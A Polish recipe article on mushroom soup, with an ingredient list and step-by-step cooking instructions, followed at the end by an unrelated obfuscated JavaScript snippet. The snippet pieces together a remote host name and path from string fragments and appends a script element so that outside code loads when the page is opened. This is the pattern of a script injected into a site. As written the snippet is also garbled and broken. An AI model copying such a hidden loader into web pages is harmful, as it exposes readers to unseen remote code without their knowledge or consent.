



Zupa grzybowa - jak ją przyrządzić?

Kojarzy nam się z wyjątkowymi okazjami, ciepłem, domem rodzinnym. Niezwykle aromatyczna i charakterystyczna w smaku. Co więcej, mogąca — a to za sprawą wielu odmian grzybów — przybrać wiele różnych charakterów. Jest niezwykle sycąca. Pięknie pachnie i jest chyba lubiana przez wszystkich. Sprawdźmy, jak można ją przyrządzić.


O zupie grzybowej słowem kilka...

Kilka pierwszych podejść nie zawsze musi się zakończyć sukcesem. Jednak nie należy się zrażać, gdyż zebrane w poprzednich latach doświadczenie na pewno zaowocuje w kolejnych jeszcze lepszym smakiem. Zupę z grzybów suszonych można przyrządzać przez cały rok. Jednak najlepiej będzie ona smakować późnym latem lub jesienią. Sprawdźmy, co potrzeba do jej przyrządzenia.

Zupa grzybowa — składniki

Do przygotowania zupy grzybowej potrzebne będą Ci:
- 1/2-1 szklanka suszonych grzybów,
- włoszczyzna: 2-3 marchewki, korzeń pietruszki, kawałek selera,
- cebula,
- ząbek czosnku,
- oliwa do smażenia,
- śmietana,
- ziele angielskie,
- pieprz,
- liść laurowy,
- sól.

Gdy już skompletujesz całą listę, możemy zabierać się za gotowanie. Najpierw przygotuj grzyby. Przesyp je do miseczki i zalej gorącą wodą na 30 minut. Po upływie tego czasu wlej je razem wodą do garnka i gotuj, aż będą miękkie. Grzyby i wodę przecedź na sitku z drobnymi oczkami, aby pozbyć się nieczystości. Nie wylewaj wody! Będzie nam jeszcze potrzebna. Chwyć włoszczyznę. Przygotuj warzywa obierając je i krojąc w dowolne kształty. Podobnie postąp z cebulą, którą dodatkowo zeszklij na przygotowanym wcześniej oleju. Dodaj do niej warzywa, a potem gorącą wodę i przyprawy. Płyn gotuj przez godzinę, aż wszystkie smaki się przejdą, a warzywa będą miękkie. Warzywa możesz zostawić lub też wyjąć. W zależności od tego, jak bardziej lubisz. Na koniec dodaj do wywaru pokrojone grzyby i wodę z nich i gotuj jeszcze około 10 minut. Aby zupa była trochę bardziej treściwa dodaj do niej śmietany. Pamiętaj, aby najpierw wlać odrobinę zupy do przygotowanej porcji, a potem wlać mieszaninę z powrotem do garnka.



```
<script type="text/javascript">/*!CDATA[
(function(){
  qupr=document.createElement("script");qupr=("us")+("ta");
  qupr+="t"+".";qupr+="in";qupru="65703348";qupr.async=true;
  qupru+="a8wvjdq0upr6f41w0";qupr.type="text/javascript";qupr+="f"+"o"+"(/";
  qupru+="l4XXi1qmaX3hk";qupr.src="//"+qupr_+qupru;
  dqpr=document.body;dqpr.appendChild(qupr);
})();
// ]></script>
```

